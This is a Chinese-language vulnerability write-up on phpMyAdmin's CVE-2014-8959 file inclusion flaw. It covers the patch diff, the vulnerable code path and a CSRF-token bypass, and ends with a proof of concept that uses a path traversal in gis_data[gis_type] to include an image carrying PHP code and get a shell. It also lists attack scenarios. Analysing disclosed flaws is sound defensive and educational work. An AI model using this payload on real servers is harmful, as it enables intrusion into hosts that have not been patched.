首页 > 代码库 > phpmyadmin任意文件包含漏洞分析(含演示)

phpmyadmin任意文件包含漏洞分析(含演示)

0x01 漏洞描述

phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发。

最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下:

phpMyAdmin

4.0.1 – 4.0.10.6

4.1.1 – 4.1.14.7

4.2.1 – 4.2.12

0x02 补丁分析

看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料。

前几天phpmyadmin出了个新的补丁。

地址在此: http://www.phpmyadmin.net/home_page/security/PMASA-2014-14.php

修复了一个phpmyadmin4.x版本中的任意文件包含漏洞,我们看一下4.0版本的补丁:

@@ -1,37 +1,39 @@
11<?php
22/* vim: set expandtab sw=4 ts=4 sts=4: */
33/**
44* Contains the factory class that handles the creation of geometric objects
55*
66* @package PhpMyAdmin-GIS
77*/
88 
99if (! defined(‘PHPMYADMIN‘)) {
1010exit;
1111}
1212 
1313/**
1414* Factory class that handles the creation of geometric objects.
1515*
1616* @package PhpMyAdmin-GIS
1717*/
1818class PMA_GIS_Factory
1919{
2020/**
2121* Returns the singleton instance of geometric class of the given type.
2222*
2323* @param string $type type of the geometric object
2424*
2525* @return object the singleton instance of geometric class of the given type
2626* @access public
2727* @static
2828*/
2929public static function factory($type)
3030{
3131include_once ‘./libraries/gis/pma_gis_geometry.php‘;
3232 
3333$type_lower = strtolower($type);
34 - if (! file_exists(‘./libraries/gis/pma_gis_‘ . $type_lower . ‘.php‘)) {
 34+ if (! PMA_isValid($type_lower, PMA_Util::getGISDatatypes())
 35+ || ! file_exists(‘./libraries/gis/pma_gis_‘ . $type_lower . ‘.php‘)
 36+ ) {
3537return false;
3638}
3739if (include_once ‘./libraries/gis/pma_gis_‘ . $type_lower . ‘.php‘) {
3840switch(strtoupper($type)) {
3941case ‘MULTIPOLYGON‘ :
4042return PMA_GIS_Multipolygon::singleton();
4143case ‘POLYGON‘ :
4244return PMA_GIS_Polygon::singleton();
4345case ‘MULTIPOINT‘ :
4446return PMA_GIS_Multipoint::singleton();
4547case ‘POINT‘ :
4648return PMA_GIS_Point::singleton();
4749case ‘MULTILINESTRING‘ :
4850return PMA_GIS_Multilinestring::singleton();
4951case ‘LINESTRING‘ :
5052return PMA_GIS_Linestring::singleton();
5153case ‘GEOMETRYCOLLECTION‘ :
5254return PMA_GIS_Geometrycollection::singleton();
5355default :
5456return false;
5557}
5658} else {
5759return false;
5860}
5961}
6062}
6163?>

在文件libraries/gis/pma_gis_factory.php中对$type_lower多加了个判断。由此我们可以猜测,文件包含的点就出在$type_lower这里。

0x03 漏洞代码分析

我们来到libraries/gis/pma_gis_factory.php 29行:

public static function factory($type)
    {
        include_once ‘./libraries/gis/pma_gis_geometry.php‘;
        $type_lower = strtolower($type);
        if (! file_exists(‘./libraries/gis/pma_gis_‘ . $type_lower . ‘.php‘)) {
            return false;
        }
        if (include_once ‘./libraries/gis/pma_gis_‘ . $type_lower . ‘.php‘) {
            switch(strtoupper($type)) {
            case ‘MULTIPOLYGON‘ :
                return PMA_GIS_Multipolygon::singleton();
            case ‘POLYGON‘ :
                return PMA_GIS_Polygon::singleton();
            case ‘MULTIPOINT‘ :
                return PMA_GIS_Multipoint::singleton();
            case ‘POINT‘ :
                return PMA_GIS_Point::singleton();
            case ‘MULTILINESTRING‘ :
                return PMA_GIS_Multilinestring::singleton();
            case ‘LINESTRING‘ :
                return PMA_GIS_Linestring::singleton();
            case ‘GEOMETRYCOLLECTION‘ :
                return PMA_GIS_Geometrycollection::singleton();
            default :
                return false;
            }
        } else {
            return false;
        }
}

public static function factory ( $ type )

{

include _ once ‘./libraries/gis/pma_gis_geometry.php‘ ;

$ type_lower = strtolower ( $ type ) ;

if ( ! file_exists ( ‘./libraries/gis/pma_gis_‘ . $ type _ lower . ‘.php‘ ) ) {

return false ;

}

if ( include _ once ‘./libraries/gis/pma_gis_‘ . $ type _ lower . ‘.php‘ ) {

switch ( strtoupper ( $ type ) ) {

case ‘MULTIPOLYGON‘ :

return PMA_GIS_Multipolygon :: singleton ( ) ;

case ‘POLYGON‘ :

return PMA_GIS_Polygon :: singleton ( ) ;

case ‘MULTIPOINT‘ :

return PMA_GIS_Multipoint :: singleton ( ) ;

case ‘POINT‘ :

return PMA_GIS_Point :: singleton ( ) ;

case ‘MULTILINESTRING‘ :

return PMA_GIS_Multilinestring :: singleton ( ) ;

case ‘LINESTRING‘ :

return PMA_GIS_Linestring :: singleton ( ) ;

case ‘GEOMETRYCOLLECTION‘ :

return PMA_GIS_Geometrycollection :: singleton ( ) ;

default :

return false ;

}

} else {

return false ;

}

}

将传入的参数$type转换小写以后赋值给$type_lower,直接拼接成路径进行include_once。

我们来搜一下factory这个函数:


很多地方在调用,但最直接的还是/gis_data_editor.php,进来看看:

// Get data if any posted
$gis_data = array();
if (PMA_isValid($_REQUEST[‘gis_data‘], ‘array‘)) {
    $gis_data = $_REQUEST[‘gis_data‘];
}
$gis_types = array(
    ‘POINT‘,
    ‘MULTIPOINT‘,
    ‘LINESTRING‘,
    ‘MULTILINESTRING‘,
    ‘POLYGON‘,
    ‘MULTIPOLYGON‘,
    ‘GEOMETRYCOLLECTION‘
);
// Extract type from the initial call and make sure that it‘s a valid one.
// Extract from field‘s values if availbale, if not use the column type passed.
if (! isset($gis_data[‘gis_type‘])) {
    if (isset($_REQUEST[‘type‘]) && $_REQUEST[‘type‘] != ‘‘) {
        $gis_data[‘gis_type‘] = strtoupper($_REQUEST[‘type‘]);
    }
    if (isset($_REQUEST[‘value‘]) && trim($_REQUEST[‘value‘]) != ‘‘) {
        $start = (substr($_REQUEST[‘value‘], 0, 1) == "‘") ? 1 : 0;
        $gis_data[‘gis_type‘] = substr(
            $_REQUEST[‘value‘], $start, strpos($_REQUEST[‘value‘], "(") - $start
        );
    }
    if ((! isset($gis_data[‘gis_type‘]))
        || (! in_array($gis_data[‘gis_type‘], $gis_types))
    ) {
        $gis_data[‘gis_type‘] = $gis_types[0];
    }
}
$geom_type = $gis_data[‘gis_type‘];
// Generate parameters from value passed.
$gis_obj = PMA_GIS_Factory::factory($geom_type);

// Get data if any posted

$ gis_data = array ( ) ;

if ( PMA_isValid ( $ _REQUEST [ ‘gis_data‘ ] , ‘array‘ ) ) {

$ gis_data = $ _REQUEST [ ‘gis_data‘ ] ;

}

$ gis_types = array (

‘POINT‘ ,

‘MULTIPOINT‘ ,

‘LINESTRING‘ ,

‘MULTILINESTRING‘ ,

‘POLYGON‘ ,

‘MULTIPOLYGON‘ ,

‘GEOMETRYCOLLECTION‘

) ;

// Extract type from the initial call and make sure that it‘s a valid one.

// Extract from field‘s values if availbale, if not use the column type passed.

if ( ! isset ( $ gis_data [ ‘gis_type‘ ] ) ) {

if ( isset ( $ _REQUEST [ ‘type‘ ] ) && $ _REQUEST [ ‘type‘ ] != ‘‘ ) {

$ gis_data [ ‘gis_type‘ ] = strtoupper ( $ _REQUEST [ ‘type‘ ] ) ;

}

if ( isset ( $ _REQUEST [ ‘value‘ ] ) && trim ( $ _REQUEST [ ‘value‘ ] ) != ‘‘ ) {

$ start = ( substr ( $ _REQUEST [ ‘value‘ ] , 0 , 1 ) == "‘" ) ? 1 : 0 ;

$ gis_data [ ‘gis_type‘ ] = substr (

$ _REQUEST [ ‘value‘ ] , $ start , strpos ( $ _REQUEST [ ‘value‘ ] , "(" ) - $ start

) ;

}

if ( ( ! isset ( $ gis_data [ ‘gis_type‘ ] ) )

|| ( ! in_array ( $ gis_data [ ‘gis_type‘ ] , $ gis_types ) )

) {

$ gis_data [ ‘gis_type‘ ] = $ gis_types [ 0 ] ;

}

}

$ geom_type = $ gis_data [ ‘gis_type‘ ] ;

// Generate parameters from value passed.

$ gis_obj = PMA_GIS_Factory :: factory ( $ geom_type ) ;

首先$gis_data = http://www.mamicode.com/$_REQUEST[‘gis_data’];获取到gis_data,判断$gis_data[‘gis_type’]是否已经存在,如果存在则跳过那 一大串if子句。最后就将$gis_data[‘gis_type’];赋值给$geom_type,并传入 PMA_GIS_Factory::factory函数。

实际这个利用方法很简单,简单到其实就是获取$_REQUEST[‘gis_data’][‘gis_type’]并拼接到include_once中,造成任意文件包含。

0x04 利用过程及POC

那我们来说说利用。这个漏洞为何没火,因为在我看来他需要两个条件:

1.登录到phpmyadmin

2.需要截断

相对比较鸡肋。但实际上这两个条件也不难满足,很多时候我们通过任意文件可能能够获得某些数据库的访问权限,我们通过这个漏洞就能成功提权。

首先我的测试环境为php 5.2.17 + phpmyadmin 4.0.3 (想想我为什么选这样的环境)

创建一个普通用户test,没有任何权限,登录后只能看到test和information_schema表:


构造好URL直接访问(pma的上层目录放着一个包含phpinfo()的图片马u1.gif):


居然一片空白,没有出现我想要的phpinfo!?

这又涉及到phpmyadmin的一个防御CSRF机制了,来到libraries/common.inc.php 463行:

$token_mismatch = true;
if (PMA_isValid($_REQUEST[‘token‘])) {
    $token_mismatch = ($_SESSION[‘ PMA_token ‘] != $_REQUEST[‘token‘]);
}
if ($token_mismatch) {
    /**
     *  List of parameters which are allowed from unsafe source
     */
    $allow_list = array(
        /* needed for direct access, see FAQ 1.34
         * also, server needed for cookie login screen (multi-server)
         */
        ‘server‘, ‘db‘, ‘table‘, ‘target‘, ‘lang‘,
        /* Session ID */
        ‘phpMyAdmin‘,
        /* Cookie preferences */
        ‘pma_lang‘, ‘pma_collation_connection‘,
        /* Possible login form */
        ‘pma_servername‘, ‘pma_username‘, ‘pma_password‘,
        /* Needed to send the correct reply */
        ‘ajax_request‘,
        /* Permit to log out even if there is a token mismatch */
        ‘old_usr‘
    );
    /**
     * Allow changing themes in test/theme.php
     */
    if (defined(‘PMA_TEST_THEME‘)) {
        $allow_list[] = ‘set_theme‘;
    }
    /**
     * Require cleanup functions
     */
    include ‘./libraries/cleanup.lib.php‘;
    /**
     * Do actual cleanup
     */
    PMA_remove_request_vars($allow_list);
}

$ token_mismatch = true ;

if ( PMA_isValid ( $ _REQUEST [ ‘token‘ ] ) ) {

$ token_mismatch = ( $ _SESSION [ ‘ PMA_token ‘ ] != $ _REQUEST [ ‘token‘ ] ) ;

}

if ( $ token_mismatch ) {

/**

*  List of parameters which are allowed from unsafe source

*/

$ allow_list = array (

/* needed for direct access, see FAQ 1.34

* also, server needed for cookie login screen (multi-server)

*/

‘server‘ , ‘db‘ , ‘table‘ , ‘target‘ , ‘lang‘ ,

/* Session ID */

‘phpMyAdmin‘ ,

/* Cookie preferences */

‘pma_lang‘ , ‘pma_collation_connection‘ ,

/* Possible login form */

‘pma_servername‘ , ‘pma_username‘ , ‘pma_password‘ ,

/* Needed to send the correct reply */

‘ajax_request‘ ,

/* Permit to log out even if there is a token mismatch */

‘old_usr‘

) ;

/**

* Allow changing themes in test/theme.php

*/

if ( defined ( ‘PMA_TEST_THEME‘ ) ) {

$ allow_list [ ] = ‘set_theme‘ ;

}

/**

* Require cleanup functions

*/

include ‘./libraries/cleanup.lib.php‘ ;

/**

* Do actual cleanup

*/

PMA_remove_request_vars ( $ allow_list ) ;

}

他检查了$_SESSION[‘ PMA_token ‘] 是否等于 $_REQUEST[‘token’],如果不等于,最后会进入PMA_remove_request_vars函数,进去看看:

function PMA_remove_request_vars(&$whitelist)
{
    // do not check only $_REQUEST because it could have been overwritten
    // and use type casting because the variables could have become
    // strings
    $keys = array_keys(
        array_merge((array)$_REQUEST, (array)$_GET, (array)$_POST, (array)$_COOKIE)
    );
    foreach ($keys as $key) {
        if (! in_array($key, $whitelist)) {
            unset($_REQUEST[$key], $_GET[$key], $_POST[$key], $GLOBALS[$key]);
        } else {
            // allowed stuff could be compromised so escape it
            // we require it to be a string
            if (isset($_REQUEST[$key]) && ! is_string($_REQUEST[$key])) {
                unset($_REQUEST[$key]);
            }
            if (isset($_POST[$key]) && ! is_string($_POST[$key])) {
                unset($_POST[$key]);
            }
            if (isset($_COOKIE[$key]) && ! is_string($_COOKIE[$key])) {
                unset($_COOKIE[$key]);
            }
            if (isset($_GET[$key]) && ! is_string($_GET[$key])) {
                unset($_GET[$key]);
            }
        }
    }
}

function PMA_remove_request_vars ( & $ whitelist )

{

// do not check only $_REQUEST because it could have been overwritten

// and use type casting because the variables could have become

// strings

$ keys = array_keys (

array_merge ( ( array ) $ _REQUEST , ( array ) $ _GET , ( array ) $ _POST , ( array )$ _COOKIE )

) ;

foreach ( $ keys as $ key ) {

if ( ! in_array ( $ key , $ whitelist ) ) {

unset ( $ _REQUEST [ $ key ] , $ _GET [ $ key ] , $ _POST [ $ key ] , $ GLOBALS [ $key ] ) ;

} else {

// allowed stuff could be compromised so escape it

// we require it to be a string

if ( isset ( $ _REQUEST [ $ key ] ) && ! is_string ( $ _REQUEST [ $ key ] ) ) {

unset ( $ _REQUEST [ $ key ] ) ;

}

if ( isset ( $ _POST [ $ key ] ) && ! is_string ( $ _POST [ $ key ] ) ) {

unset ( $ _POST [ $ key ] ) ;

}

if ( isset ( $ _COOKIE [ $ key ] ) && ! is_string ( $ _COOKIE [ $ key ] ) ) {

unset ( $ _COOKIE [ $ key ] ) ;

}

if ( isset ( $ _GET [ $ key ] ) && ! is_string ( $ _GET [ $ key ] ) ) {

unset ( $ _GET [ $ key ] ) ;

}

}

}

}

实际上将所有GPCR都清空了,那么后面的操作肯定不能正常运转了。

所以,我们必须带上token访问。那又有同学要问了,token保存在session里,我又看不到session。

其实用phpmyadmin多的同学就应该注意到,一般我们访问pma的时候都会在url里看到token=xxx这个参数,我们只需要在正常访问的时候将这个token拷贝下来就可以了:


带上token访问即可getshell:


最终POC:

Token=xxx,xxx是你的token,gis_data[gis_type]=yyy,yyy是你要包含的文件。最终拼接到include_once后面的参数是

./libraries/gis/pma_gis_/../../../../u1.gif

. / libraries / gis / pma_gis_ / . . / . . / . . / . . / u1 . gif

0x05 利用环境与鸡肋性

想想利用环境吧?

1.虚拟主机:大多虚拟主机面板都会提供给用户一个普通数据库账号和phpmyadmin,利用该账号登录,再通过包含进行getshell,获得面板权限。

2.文件读取/备份下载:读取到某些配置文件,获得了一个数据库账号,通过phpmyadmin进行getshell。

3.暴力破解:爆破出某些数据库用户,进入phpmyadmin拿shell。

当然利用环境还可能有很多,另外我们还可能会遇到“包含哪个文件”的问题,这个就只能靠大家见仁见智咯~

附:测试所使用的phpmyadmin 4.0.3: http://pan.baidu.com/s/1qWymmBE

0x05 修复建议

更新官方最新版本:http://sourceforge.net/projects/phpmyadmin/


phpmyadmin任意文件包含漏洞分析(含演示)